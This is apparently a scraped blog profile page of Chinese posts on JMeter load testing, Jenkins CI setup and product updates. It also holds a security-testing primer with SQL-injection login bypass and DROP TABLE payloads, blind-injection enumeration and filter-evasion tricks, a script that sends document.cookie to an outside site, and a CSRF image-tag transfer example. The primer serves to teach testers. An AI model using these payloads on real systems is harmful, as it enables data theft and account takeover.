1)、JMeter分布式执行原理:
JMeter分布式测试时,选择其中一台作为调度机(master),其它机器做为执行机(slave)。
执行时,master会把脚本发送到每台slave上,slave 拿到脚本后就开始执行,slave执行时不需要启动GUI,我理解它应该是通过命令行模式执行的。
执行完成后,slave会把结果回传给master,master会收集所有slave的信息并汇总。
2)、执行机(slave)配置:
  a、slave机上需要安装JMeter,具体如何安装这里不详细介绍了。
  b、添加环境变量:JMETER_HOME=D:B_TOOLSapache-jmeter-2.13,此处为你JMeter的路径
  c、启动bin目录下的:jmeter-server.bat,启动成功如下图:

14

  d、上图上标红的IP和端口会在master里配置时用到。IP就是slave机器IP,端口默认是1099,端口也可以自定义,这里我自定义为1000,这个后面会讲。 
  e、多台slave的话,重复1~4步骤就好。  
3)、调度机(master)配置:
  a、脚本:简单的一个访问压测宝的脚本: 

15

  b、找到JMeter的bin目录下jmeter.properties文件,修改如下配置,IP和Port是slave机的IP以及自定义的端口(这里端口我自定义为100,后面会讲如何自定义):
        remote_hosts=10.13.223.202:1000,10.13.225.12:1000
    多台slave之前用","隔开,我这配置了2台,可以看到标红的这个就是上面截图slave的IP和Port.
  c、打开JMeter,选择运行,有运程启动、运程全部启动两个选项:

16

  d、选择远程启动-->10.13.225.12:1000
    a) master结果,这里我只启动了10.13.225.12:1000这一台slave,所以只有一个结果(线程数和循环次数都是1):

17

    b) slave控制台信息:

18

  e、选择远程启动-->远程全部启动:
    a) master结果,全部启动,我配置了2台slave,所以有两次执行结果:

19

4)、自定义端口:
  上面其实已经实现了JMeter的分布式测试,这部分主要介绍下如何自定义slave端口:
  a、slave:在slave机的JMeter的bin目录下,找到jmeter.properties文件,修改如下两个配置项,比如我这里修改为1888:
      server_port=1888
      server.rmi.localport=1888
  b、启动slave机上的jmeter-server.bat,如下图,端口已经修改为:1888

20

  c、master:修改master机器的jmeter.properties文件:
      remote_hosts=10.13.223.202:1000,10.13.225.12:1888
  d、重启jmeter.bat,如下图,端口已经变了:

21

5)、其它说明:
  a、调度机(master)和执行机(slave)最好分开,由于master需要发送信息给slave并且会接收slave回传回来的测试数据,所以mater自身会有消耗,所以建议单独用一台机器作为mater。
  b、参数文件:如果使用csv进行参数化,那么需要把参数文件在每台slave上拷一份且路径需要设置成一样的。
  c、每台机器上安装的JMeter版本和插件最好都一致。

3、搭建持续集成接口测试平台

下面介绍最后一个实例,搭建持续集成接口测试平台(Jenkins+Ant+JMeter)。
1)、环境准备:
JDK:http://www.oracle.com/technet...
Ant:http://ant.apache.org/bindown...
Jenkins:http://jenkins-ci.org/
2)、Jemter脚本准备:
a、脚本目录:D:B_TOOLSapache-jmeter-2.13demo

22

b、脚本内容:都是访问压测宝或google首页

23

Script_yacebao.jmx   
Script_google.jmx

24

3)、ANT的build.xml代码准备:
1<?xml version="1.0" encoding="UTF-8"?>
2
3<project name="ant-jmeter-test" default="run" basedir=".">
4<tstamp>
5<format property="time" pattern="yyyyMMddhhmm"/>
6</tstamp>
7
8<property environment="env"/>
9<property name="ReportName" value="TestReport"/>
10<!-- 需要改成自己本地的JMeter 目录-->
11<property name="jmeter.home" value="D:B_TOOLSapache-jmeter-2.13"/>
12<!-- jmeter生成jtl、html格式的结果报告的路径-->
13<property name="jmeter.result.dir" value="${env.WORKSPACE}/results/${env.BUILD_ID}"/>
14<!-- 生成的报告的前缀-->
15<property name="jmeter.result.jtlName" value="${jmeter.result.dir}/${ReportName}.jtl"/>
16<property name="jmeter.result.htmlName" value="${jmeter.result.dir}/${ReportName}.html"/>
17
18<target name="run">
19<echo message="start..."/>
20<antcall target="clean"/>
21<antcall target="test"/>
22<antcall target="report"/>
23</target>
24
25<target name="clean">
26<mkdir dir="${env.WORKSPACE}/results/${env.BUILD_ID}"/>
27</target>
28
29<target name="test">
30<taskdef name="jmeter" classname="org.programmerplanet.ant.taskdefs.jmeter.JMeterTask"/>
31<jmeter jmeterhome="${jmeter.home}" resultlog="${jmeter.result.jtlName}">
32<!-- 声明要运行的脚本"*.jmx"指包含此目录下的所有jmeter脚本-->
33<testplans dir="D:B_TOOLSapache-jmeter-2.13demo" includes="*.jmx"/>
34
35<property name="jmeter.save.saveservice.output_format" value="xml"/>
36</jmeter>
37</target>
38
39<target name="report">
40<xslt in="${jmeter.result.jtlName}"
41 out="${jmeter.result.htmlName}"
42 style="${jmeter.home}/extras/jmeter-results-detail-report_21.xsl"/>
43<!-- 因为上面生成报告的时候,不会将相关的图片也一起拷贝至目标目录,所以,需要手动拷贝-->
44<copy todir="${jmeter.result.dir}">
45<fileset dir="${jmeter.home}/extras">
46<include name="collapse.png"/>
47<include name="expand.png"/>
48</fileset>
49</copy>
50</target>
51</project>
4)、配置Jenkins Job并运行:
a、job配置如下:

25

b、在job的workspace目录下会生成结果报告:

26

c、TestReport.html:

27

5)、配置发送邮件功能
a、自已写一个发送邮件的功能并打成sendmail.jar包,放在job的workspace目录中

28

b、jenkins增加构建步骤
  a)进入到测试报告的目录
  b) 调用sendmail.jar命令发送邮件

29

 说明:
由build3.xml的第12、13行可知,报告文件生成目录为:${env.WORKSPACE}/results/${env.BUILD_ID},所以这里要先cd到具体执行的那个build_id目录下。
可以把上面的两行命令写在成一个批处理文件,例如第1步有个sendmail.bat文件就是,然后调用时直接写sendmail.bat就好了。
持续集成接口测试平台(Jenkins+Ant+JMeter)就此搭建成功,以上是关于Jmeter脚本录制和压测的几个实例,接下来为您带来进阶的《云智慧压测实战分享之JMeter场景设置与监控》,敬请期待。

查看原文

赞 4 收藏 5 评论 0

CloudwiseAPM 发布了文章 · 2016-12-26

云智慧压测实战分享之JMeter工具使用初探

工欲善其事必先利其器,要保证移动应用产品在上线之后能稳定运行于各种复杂环境,仅仅进行功能测试是远远不够的,压力测试越来越被应用开发商所重视。而压力测试从传统的内部压力到基于云计算的压力测试,再到用户视角的外部压测,也在不断发展变化。JMeter作为一款广为流传的开源压测产品,最初被设计用于Web应用测试,并不断扩展到其他测试领域。
如今,JMeter可以用于测试静态和动态资源,例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP 服务器等等,还能对服务器、网络或对象模拟巨大的负载,通过不同压力类别测试它们的强度和分析整体性能。另外,JMeter能够对应用程序做功能/回归测试,通过创建带有断言的脚本来验证你的程序返回了你期望的结果。为了最大限度的灵活性,JMeter允许使用正则表达式创建断言。
JMeter的特点包括对HTTP、FTP服务器、数据库进行压力/性能测试;完全的可移植性;完全 Swing和轻量组件支持包;完全多线程;缓存和离线分析/回放测试结果;可链接的取样器;具有提供动态输入到测试的功能;支持脚本编程的取样器等。不仅如此,在设计阶段JMeter能够充当HTTP PROXY(代理)来记录浏览器的HTTP请求,也可以记录Apache等WebServer的log文件来重现HTTP流量,并在测试运行时以此为依据设置重复次数和并发度(线程数)来进行压测。

JMeter的压力发生原理

JMeter可以作为Web服务器与浏览器之间的代理网关,捕获浏览器请求和Web服务器响应,这样就能快速生成性能测试脚本。有了测试脚本,JMeter通过线程组来模拟真实用户对Web服务器的访问压力。
原理图如下:

1
JMeter的结构如下图所示,通过各种元件的组织配合,满足不同的测试需要:

2

JMeter的常见元件

1、Test Plan (测试计划):用来描述一个性能测试,包含与本次性能测试所有相关的功能,也就说性能测试的所有内容都是于基于一个计划的,右键单击“测试计划”弹出菜单:

3
注意:“函数测试模式”复选框如果被选择,会记录来自服务器返回的每个取样的数据,在测试监听器中选择一个文件,这些数据将被写入文件。如果尝试一个较小的测试来保证JMeter配置正确并且服务器正在返回期望的结果,这是很有用的,但后果是这个文件会快速增大并对JMeter效率产生影响。

2、Threads(Users)线程(用户)

4
1) setup thread group 
一种特殊类型的ThreadGroup的,可用于执行预测试操作。这些线程的行为完全像一个正常的线程组元件。不同的是这些类型的线程执行测试前进行定期线程组的执行。setUp Thread Group类似于lr的init.可用于执行预测试操作。
2) teardown thread group
一种特殊类型的ThreadGroup的,可用于执行测试后动作。这些线程的行为完全像一个正常的线程组元件。不同的是,这些类型的线程执行测试结束后执行定期的线程组。tearDown Thread Group类似于lr的end.可用于执行测试后动作。
3) thread group(线程组)
这个就是我们通常添加运行的线程,可以看做一个虚拟用户组,线程组中的每个线程都可以理解为一个虚拟用户。线程组中包含的线程数量在测试执行过程中是不会发生改变的。

5
在设置线程组参数的时候注意:
  Ramp-Up Period:指定了启动所有线程所花费的时间,单位是秒,默认时间是1秒。比如,当前的设定表示“在5秒内启动5个线程,每个线程的间隔时间为1秒”。如果需要JMeter立即启动所有线程,将此设定为0即可.
  循环次数:表示每个线程执行多少次请求。

3、测试片段(Test Fragment)
测试片段元素是控制器上的一个种特殊线程组,在测试树上与线程组处于一个层级。它与线程组的差异在于,只有被一个模块控制器或者是被控制器所引用时才会执行。

6

4、取样器(Sampler)
取样器(Sampler)是性能测试中向服务器发送请求,记录响应信息和响应时间的最小单元,JMeter 原生支持多种不同的Sampler,如HTTP Request Sampler、FTP  Request Sampler、TCP Request Sampler、JDBC Request Sampler 等,每一种不同类型的Sampler可以根据设置的参数向服务器发出不同类型的请求。在JMeter的所有Sampler中,Java Request Sampler与BeanShell Requst Sampler是两种特殊的可定制的Sampler。

7

5、逻辑控制器(Logic Controller)
逻辑控制器包括两类元件,一类是用于控制test plan 中 Sampler节点发送请求的逻辑顺序的控制器,常用的有 如果(If)控制器 、 switch Controller 、Runtime Controller、循环控制器等。另一类是用来组织和控制 Sampler节点的,如事务控制器、吞吐量控制器。

8

6、配置元件(Config Element)
配置元件(config element)用于提供对静态数据配置的支持。CSV Data Set config 可以将本地数据文件形成数据池 (Data Pool),而对应于HTTP Request Sampler和 TCP Request Sampler等类型的配置元件则可以修改 Sampler的默认数据。例如,HTTP Cookie Manager 可以用于对 HTTP Request Sampler 的 cookie 进行管理。HTTP 请求默认值不会触发JMeter发送http请求,而只是定义HTTP请求的默认属性。

图片描述

7、定时器(Timer)
定时器(Timer)用于操作之间等待时间的设置,等待时间是性能测试中常用的控制客户端QPS的手段,类似于LoadRunner里面的“思考时间”。JMeter 定义了Bean Shell Timer、Constant Throughput Timer、固定定时器等不同类型的Timer。

10

8、前置处理器(Per Processors)
前置处理器用于在实际的请求发出之前对即将发出的请求进行特殊处理。例如,HTTP URL重写修复符则可以实现URL重写,当URL中有sessionID 一类的session信息时,可以通过该处理器填充发出请求的实际的sessionID 。

图片描述

9、后置处理器(Post Processors)
后置处理器是用于对Sampler 发出请求后得到的服务器响应进行处理,一般用来提取响应中的特定数据(类似LoadRunner测试工具中的关联概念)。例如,XPath  Extractor 可以提取响应数据中通过给定XPath 值获得的数据,正则表达式提取器则可以提取响应数据中通过正则表达式获得的数据。

12

 10、断言(Assertions)
断言用于检查测试中得到的相应数据等是否符合预期,断言一般用来设置检查点,用以保证性能测试过程中的数据交互是否与预期一致。

13
 
11、监听器(Listener)
监听器不是用来监听系统资源的元件,而是对测试结果数据进行处理和可视化展示的一系列元件,包括图形结果、查看结果树、聚合报告、用表格察看结果都是我们经常用到的元件。

图片描述

12、工作台

15

在测试中我们可能需要暂时更改一些组件,可以把一些需要更改的组件保存在工作台中,测试完成后再恢复。但是切记不能退出jmeter,一旦退出jmeter工作台中的内容就会消失。

13、Property Display
此元件相当于是jmeter.properties的GUI。

16

JMeter元件的作用域和执行顺序

在JMeter中,元件的作用域是靠测试计划的树型结构中元件的父子关系来确定的,作用域的原则是:
1.取样器(sampler)元件不和其它元件相互作用,因此不存在作用域的问题。
2.逻辑控制器(Logic Controller)元件只对其子节点中的取样器和逻辑控制器作用。
3.除取样器和逻辑控制器元件外,其他6类元件,如果是某个sampler的子节点,则该元件公对其父子节点起作用。
4.除取样器和逻辑控制器元件外的其他6类元件,如果其父节点不是sampler,则其作用域是该元件父节点下的其他所有后代节点(包括子节点,子节点的子节点等)。
了解了元件有作用域之后,再来看看元件的执行顺序规则,在同一作用域名范围内,测试计划中的元件按照如下顺序执行:
1)配置元件(config elements )
2)前置处理程序(Per-processors)
3)定时器(timers )
4)取样器(Sampler)
5)后置处理程序(Post-processors) (除非Sampler 得到的返回结果为空)。
6)断言(Assertions)(除非Sampler 得到的返回结果为空)。
7)监听器(Listeners)(除非Sampler 得到的返回结果为空)。
关于执行顺序,有三点需要注意:

  • 前置处理器、后置处理器和断言等元件只能对 取样器作用,因此,如果在它们的作用域内没有任何取样器,则不会被执行。

  • 如果在同一作用域范围内有多个同一类型的元件,则这些元件按照它们在测试计划中的上下顺序一次执行。

  • 一个断言在测试树中是分等级的。如果它的父元件是请求,它就被应用于那个请求。如果它的父元件是控制器,它就影响所有那个控制器下的所有请求。
    以上是JMeter使用之前必须了解的一些基本信息,接下来我们将为您带来JMeter脚本录制实例,敬请期待。

查看原文

赞 6 收藏 9 评论 0

CloudwiseAPM 发布了文章 · 2016-12-16

[开源工具]被运用到上万个项目中的数据生成器[Data-Processer] 宣布开源

Data-Processer简介

Data-Processer是一个模拟数据生成器。
通常在测试过程中,产生完整、全面的真实数据比较困难。Data-Processer可以帮助我们根据需求,创建对应的模版和词典,生成我们需要的模拟数据。
此工具由云智慧发布,是一款成熟的模拟数据生成器。已被广泛的运用于全栈性能监控、端到端应用性能管理、全链路性能压测、实时大数据可视化、业务运维等众多项目中,在电商、在线教育、政企、互联网金融、o2o、游戏、企业服务等行业均被使用。

1

Data-Processer使用场景
Data-Processer能够根据构建的模版和词典,生成我们需要的数据。在测试环境、持续集成、生产环境中,均可使用。

测试场景
测试过程中,我们需要验证数据后端的功能或性能,此时,需要降低与数据产生端的耦合,那么需要一个稳定优秀的数据生成器,来持续的不间断的产生正确的数据,和特殊情况下的异常数据。
持续集成场景
在整个持续集成场景中,一个或多个模块组成一个平台,需要有源源不断的数据进入持续集成环境,用以自动化地完成测试和迭代工作,使用Data-Processer则可以通过数据样本的指定和简单的编码,非常简单地完成这个需求。
生产场景
在一个项目完成测试和迭代,发布到生产环境之后,通常也需要进行持续的功能或可用性监测,那么则需要有各种正常或异常数据按照某种规则和定义,持续稳定地生产并送回平台,此时将持续集成场景中的case,只需通过简单配置,则可以进行生产的验证,以满足这个需求。
Data-Processer的架构

数据生成器包括:模版变量提取,模版变量执行,模版变量替换组成,三部分组成。

2

使用示例

3

Data-Processer资源链接
源码地址:https://github.com/CloudWise-...
Demo地址:https://github.com/CloudWise-...

查看原文

赞 0 收藏 5 评论 0

CloudwiseAPM 发布了文章 · 2016-11-21

不容错过 | 一大波新功能来袭

Word天!Wuli产品经理们又在搞事情了~在提升产品质量,完善用户体验的路上不断狂奔着~赶紧来看看这些你不容错过的新功能汇总吧,新鲜出炉~

监控宝

1、企业版“报表中心”新增“数据报表”模块

数据报表可进行不同监测点的多个指标数据对比,支持折线图、柱状图、折柱混搭视图切换,数据报表可导出。目前支持Ping监控监测点和省份运营商两个维度的报表。

1

2

另外,企业用户的只读账户,也可设置并接收到语音告警了。网页性能管理支持国际化「繁体中文、英文」。 有海外的业务的小伙伴们不要错过哦。

3

透视宝

1、新增业务系统拓扑展现
面向业务系统的构建和问题分析,能够定义面向业务系统的架构图,整合原有离散的应用、前端、后台任务、数据库及基础设施,给用户呈现业务系统的体系架构;基于业务系统拓扑图的性能分析帮助用户通过拓扑图分析系统各个组件的性能问题。

4

2、应用栏目新增对比分析
应用栏目中新增对比分析:可以按应用和该应用下的事务进行不同时间维度的对比分析。统计指标为:每分钟请求数,平均响应时间,每分钟错误数,错误包含错误和异常。

5

另外,透视宝javacode请求堆栈中添加mongodb的数据库信息。移动应用分析新增对wkwebview的性能监控,可监控WKWebview的时间响应分解、耗时、白屏、ajax请求数据、JS错误数据等。

6

压测宝

集成代码追踪,支持全平台全语言的后端追踪
压测任务数据分析中能够深度集成透视宝代码追踪,支持全平台、全语言的后端代码追踪,针对压测中的性能问题进行深度分析。例如对【失败、缓慢】的请求做深度分析,可详细查看该请求的堆栈耗时、SQL执行耗时、请求参数等。

7

查看原文

赞 0 收藏 0 评论 0

CloudwiseAPM 发布了文章 · 2016-11-21

坑爹双十一零点秒杀背后的API性能问题初探

我很喜欢吃苹果,尤其是新疆阿克苏的冰糖心,这不,快到双十一了,有个店家的优惠力度很很大:1份5斤才79元,第2份1元,折合8块钱1斤。所以我早早的就把苹果放进了购物车里,想着香甜的大苹果,定了闹钟,就等着凌晨支付了,。

1

盼望着盼望着,终于可以支付了,我愉快地拿起手机打开应用支付订单,等支付确认之后,我才发现,貌似店家没有给我优惠哦!怎么两份苹果要了79*2=158元呢?真郁闷,这不简直是赤果果的消费欺诈不成?所以我选择退款!必须退!结果更让人崩溃,点击退款之后系统的提示是这样的!

2

不得不佩服这个店家的服务,一会短信就过来了,店家抱歉说是因为系统因为访问量太大出现了故障,所以可以支付完成之后找店家补差价。哦,原来是这样!本来还以为是店家欺诈呢。

3

郁闷地打开朋友圈,想发发牢骚,结果看见朋友圈里中招的小伙伴相当多呢。

4

5

6
看了这些顿时精神一震,好歹我也是个高级运维工程师呀,还懂代码开发,就是传说中的DevOps,爬起来我开始分析:一般这种商品两件优惠大致有几种策略(可能还有,我买的比较少,没有看到):
1)第2份0元,就是所谓的五折嘛!
2)第2份1元,比五折那么一点点;
3)第2份每斤1元;
那么在加入购物车选择结账的时候,系统发生了什么?我猜想是这样的:

7
按照这个流程来讲的话,就是万恶的“减免计算接口”出现了问题!估计是对应的后端服务宕机了,或者我所在的北京地区的网络出现了问题,导致在调用这个接口的时候出现了异常,不过真心佩服电商平台技术,做了很多的异常判断,明显是当“减免计算接口”出现异常的时候,系统能够继续正常执行,当然此时就第2份就不会优惠了。

接口很重要!接口很重要!接口很重要!
所以在系统上线前有必要对接口进行大规模并发下的压力测试,首先要保障提供接口服务的程序不掉链子,能够抗住那么多流量,其实这样还不够,因为仅仅关注后端是不够的,现在的应用架构太复杂了,网络、CDN等都是影响接口正常质量的很重要的因素,所以必须能够在全链路的真实环境下对系统进行压测,这样就能判断哪些地区,哪些运营商可能导致的用户不爽。
正在这时,上海同学告诉我他在凌晨正常下单支付了!好吧,这说明上海并没有受到类似不良接口的影响。
仅仅是全链路压测够不够呢?其实还不够,因为在真实环境下,各种状况层出不穷,瞬息万变,测试做的再好也只能尽可能真实的模拟未来发生的情况,但是实际上还是会有不可预想的事情发生,所以我们还需要监控!比如我就用监控宝的API监控把公司应用里的那么多关键接口进行了7X24小时的实时监控,能够通过云智慧的全球监测点对接口调用的可用性、正确性和响应时间进行实时监测,当有问题的时候第一时间获得短信或者电话语音的告警通知,经过分析快照快速定位和解决问题——这一切只要在老板知道以前处理掉,今年的优秀员工就是我啦。
最后问一句,谁认识负责“减免计算接口”服务的运维同学?我想和他聊聊去。

查看原文

赞 0 收藏 3 评论 0

CloudwiseAPM 发布了文章 · 2016-11-09

干货分享|安全测试起航之旅

云智慧 汪晓宇

安全测试是在IT软件产品的生命周期中,特别是产品开发基本完成到发布阶段,对产品进行检验以验证产品符合安全需求定义和产品质量标准的过程。一句话总结,安全测试就是检查产品是否满足安全需求的过程。

众所周知软件测试分为四大类型,分别是:功能测试、自动化测试、安全测试和性能测试,而安全测试是在功能测试和自动化测试之后,性能测试之前执行的,以免安全测试后修改的一些问题会影响性能。

安全测试的内容通常包括跳过权限验证、修改提交的请求信息等等,复杂一些的产品还要进行SQL注入,跨站点脚本之类的测试,下面我们来看看安全问题对于互联网产品的威胁。

SQL注入
由于程序员的水平及工作经验参差不齐,相当一大部分程序员在编写程序的时候对用户输入数据的合法性没有进行判断,就给应用程序带来一定的安全隐患,用户可以通过提交一段数据库查询代码,在得到的结果中分析出他想要的数据,这就是所谓的SQL Injection,即SQL注入。

对于一个产品或网站来说,如果缺少安全性测试,攻击者可能会通过SQL盲注等方法直接暴库(获取所有的数据库)或是获取当前项目所使用的数据库名称、Web应用使用的账户、表、表结构、字段名甚至数据库中存储的数据内容等,这就是为什么我们的底层连接数据库代码要用一些防SQL注入技术的原因了。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看服务器日志的习惯,可能被入侵很长时间都不会发觉。

展示一个最基本的漏洞:

1

某个系统登录页面,按照如图方式输入用户面密码后点击登录,结果登录成功了,为什么呢?
登录模块的经典SQL为:

select id from user where uname=’+ username + ’and pwd=’+ password+’

假如用户名为admin,密码为123456的用户登录该系统,那么登录时所产生的SQL语句如下:

select id from user where uname=’admin’and pwd=’123456’

而如果照图中的所示恶意输入的话,该SQL就变成如下所示:

select id from user where uname='admin'and pwd=''or'1=1'

或者来个更简单的直接把用户名输入成:admin‘—
这样就以管理员的方式登录进去了或者以uname用户成功登录,对于SQL解析器来说,这是一个可以被解析并且可以被执行的SQL语句。
我们知道mysql代码的注释是用—来表示的,若我们变一下上面的SQL语句:

select id from user where uname=''**or'1=1';drop table user ;--**'and pwd=''

如上红色部分是我们的输入,这样我们的SQL仍然可以被正确解析,导致user表被删除(如果有删除表权限的话);如果没有删除表权限的话也没关系,我们可以用delete from user删除整张表的数据来代替删除整张表的效果。
当然,根据SQL需要的参数类型不同,所需的注入参数类型也不同,一般判断某一参数点是否存在SQL注入的话可以用如下两种方式:
1.在参数后面直接加‘来观察是不是报错,如果发现数据库报内部错误,则可以断定有SQL注入的问题。
2.如果参数类型是int型,可以用and 1=1;and 1=2来判断,如果and 1=1可以搜索出来,而and 1=2搜索出来的结果为null或报错,那么我们认识存在SQL注入漏洞,因为如果and 1=1和and 1=2没有被打入系统的话,两个返回值应该与原始值一致,如果两个都被完全当做字符打入系统两个返回值应该都是空,如下图1;对于String类型来说,我们可以用’and ‘1’=’1以及 ‘and ‘1’=’2来的判断,如下图2,道理与int类型一样。如果是搜索型参数的话可以用‘and’%’来注入,如下图3.根据实际遇到的情况不同需要有意识的去分析需要注入的参数,从而得到注入语句。

图片描述

确定了SQL注入漏洞的存在,作为测试人员可以将这个漏洞报给开发人员进行修复,但作为安全爱好者我们可以做的更多。最基本的方式是使用简单的SQL 语句去猜解表名及字段名,确认表名的方法可以用and true ,and false 的方式来判断,如:and (select count(*) from user)>0 返回为空 证明user表存在,返回与原始页面一致,则证明不存在;还有确认字段的方法,如:and (select count(username) from user)>0;我们来重点说说确认字段值的方法,这块挺好玩的。
咱们以字符型来举个例子,假如有username字段,首先你要知道字段值的长度是多少,用如下语句:
and (select length(username) from users where id=1)=1~10
其次,需要找出每一位上面的字母(a-z A-z 0-9)
and substr ((select usernname from users where id=1),1,1)='a'--'z'
当然也可以用ASCII的方法:
and (select ASCII(substr (username,1,1)) from users where id=1)=0~128
来看个实例:
1.先获取长度,通过burpsuite工具拦截有sql注入的请求,对图中高亮处进行参数化,获取到的name字段值长度为4;

3

2.再对应获取name字段值的每一位,然后分别把获取到的每一位对应ASCll码中的值(参数化时是0~128)找出来就可以了。

4

字符的方式参数化时a~z A~Z 0~9,设置这些就可以了。

5

有时候开发人员会有意识的执行某种输入过滤以防止攻击者输入如’.selecet等字符,下面来看下怎么避开过了字符:
3.使用ASCII码动态构建替代,如在输入中单引号被屏蔽,我们可以尝试使用字符的ASCII码代替:CHAR (39)。
4.如果select关键字被屏蔽,尝试使用URL hex编码:
%00SELECT
%53%45%4c%45%43%54
有些开发人员可能会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,大家可以用selecT这样尝试一下。在猜不到字段名时,不妨看看网站上的表单,一般为了方便字段名都与表单的输入框取相同的名字。
特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,还有就是用Get方法注入时,IIS、Apache等Web服务器会记录你提交的所有字符串,而对Post方法则不做记录,所以能用 Post的网址尽量不用Get。

6

不过使用透视宝产品的同学就不用有此顾虑啦,因为透视宝底层连接数据库的代码已经用了一些防SQL注入的技术,大可放心使用!

权限控制的危害
接下来说说权限控制,权限就好像公司的门禁,只有带了门禁卡的同学才可以随便进出,而没有门禁的人虽然可以出去,但是安全的公司只能让里面的同学开门或别人刷卡才允许进来,这就是最简单的权限。如果少了安全性的保障,那么就会有一些人跳过权限去做一些他们不该做的事情。
举个简单的例子,一个登陆模块只有输入注册过的用户名密码才能登录成功,然后我们就老老实实的输入我们自己注册过的用户名密码(如abc@baidu .com /123 ),然后就可以登陆成功了。然而假如我们输入一个不存在的用户名呢?
先来看个SQL,登录模块到数据库对比用的是如下SQL:
    select count(*) from user where uname="abc@baidu .com" and pwd=“123”
当然实际应用中的SQL会比这个复杂的多,若在SQL后边加一些特殊的字符串‘ or '1=1其结果会是什么样呢?
    select count(*) from user where uname=" abc@baidu .com " and pwd=“” or "1=1"
我们成功的绕过登录权限认证了……说好的只有注册过的用户才能登录的呢?!……感觉再也不相信爱了有木有……
访问控制大体可以分为三大类:垂直访问控制、水平访问控制和上下文相关访问控制。如果想证明一个电商系统没有权限问题,需要验证以下几点:
第一,登录是否可以不经授权,也就是说有些请求本来是需要登录后才能访问的请求,结果在没有登录的情况下直接访问该请求时也能访问成功;
第二,有无越权问题,比如普通用户是否可以访问只有管理员用户才能访问的请求,如果可以说明存在越权的安全漏洞;
第三,如用户A和用户B同属于普通用户,每个人的访问请求差不多,但显示的内容会不一样,这时可以看看B是否能看到只有A才有权限看的内容;
第四,有些功能需要分段操作才能成功,例如找回密码功能,要先输入用户账号,再通过回答各种密保问题,最后才能到获取密码,这时候如果某一步没有做好权限控制,就可能导致应用忽略之前的验证结果而直接执行当前阶段问题;
第五,基于Referer消息头的访问控制,尝试执行一些获得授权的特权操作,并提交一个缺少 Referer消息头或其被修改的请求,如果这种改变导致应用程序阻止请求,应用程序很可能以不安全的方式使用Referer消息头。这样继续尝试使用一个未通过验证的用户账户执行相同操作,但提交原始的Referer消息头,确认系统是否能够成功执行该操作,有可能获取管理员权限。
接下来说说修改提交数据内容,比如我们上某宝买一个肾8,需要支付金额10000 RMB,支付的时候通过工具拦截支付请求,修改金额为1 RMB ,提交后发现竟然支付成功了。OMG!喜欢苹果的小朋友再也不用担心自己的肾了,哈哈。这些都是因为代码里只在前端做了验证,而后端没有做二次验证所导致的漏洞,透视宝产品几乎所有的验证都是在后端做验证,所以压根就不用担心会出现客户端绕过的漏洞啦。
跨站脚本的安全隐患
最后简单说说跨站脚本的安全隐患,跨站脚本攻击(Cross Site Scripting,简称XSS)是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中,用户在观看网页时恶意脚本就会执行。这类攻击通过注入 HTML或js等脚本发动,攻击成功后攻击者可以得到私密网页内容和Cookies等,最近几年XSS攻击已经成为最流行的Web攻击方式。

XSS主要分成三大类:

1.反射式 XSS:不存储到数据库中,直接通过页面302跳转显示到页面的,仅在页面上及时显示恶意脚本,测试方法是<script>alert('xss') ;</script>、<script>alert(doucument.cookie) ;</script>;
2.存储式 XSS:存储到数据库中,然后从数据库中读取出来显示到页面上;
3.基于DOM的XSS:不保存到数据库也不与后台发生请求关系,只在dom或js上。
XSS的危害包括盗取各类用户帐号(机器登录帐号、用户网银帐号、各类管理员帐号),控制数据(包括读取、篡改、添加、删除企业敏感数据的能力),盗窃企业重要的具有商业价值的资料,非法转账,强制发送网站挂马,控制受害者机器向其它网站发起攻击等……
举个存储式XSS漏洞的例子,在一个交友网站上有人在个人信息里写了一段脚本,如:
<script>window.open(http://www.mysite.com?yourcookie =document.cookie)</script>
而该网站没有对该段内容进行正确编码,那么网站其他用户看到这个用户信息页时,就会将当前的cookie提交到该用户的web站点上。
关于xss漏洞的资料大家自己可以在网上搜索了解,我这了就不仔细描述啦~

CSRF跨站请求伪造
既然说到XSS,那么顺便把CSRF也简单说下吧,CSRF(Cross-site Request Forgery)是跨站请求伪造的意思,也被称为“one click attack”或者session riding,通常缩写为CSRF 或者XSRF, 是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式几乎相左。
XSS 利用站点内的信任用户(受害者),而CSRF 通过伪装来自受信任用户的请求来利用受信任的网站,通过社会工程学的手段(如通过电子邮件发送一个链接) 来蛊惑受害者进行一些敏感性的操作,如修改密码、修改E-mail、转账等,而受害者还不知道他已经中招。
CSRF 的破坏力依赖于受害者的权限,如果受害者只是个普通的用户, 则一个成功的CSRF 攻击会危害用户的个人数据以及一些功能;如果受害者具有管理员权限,则一个成功的CSRF攻击甚至会威胁到整个网站的安全。与XSS 攻击相比,CSRF 攻击往往不太流行(因此对其进行防范的资源也相当稀少)和难以防范,故被认为是比XSS更具危险性的,所以CSRF在业内有个响当当的名字——沉睡的巨人。
举个典型的CSRF例子:

7

Alice 登录了某金融网站mybank.com准备进行网上支付,Bob 知道这个金融网站并且意识到这个站点的转账功能有 CSRF 漏洞,于是Bob在myblog.com上发表了一条日志,这个日志支持 img 自定义功能,Bob 插入了这么一行HTML 代码:
<imgdata-original=http://mybank.com/transferMon... width="1" height="1" border="0" />
Alice 在自己的浏览器上打开了另一个标签页正好读到这个页面,于是Alice 的账户就不知不觉地向Bob 的账户转账3000 元,而她却毫不知情。
本次分享就先到这里吧,只是启蒙下,详细的过程以后有机会再给大家一一介绍,谢谢~

查看原文

赞 2 收藏 3 评论 0

认证与成就

  • 获得 38 次点赞
  • 获得 1 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 1 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2016-01-20
个人主页被 655 人浏览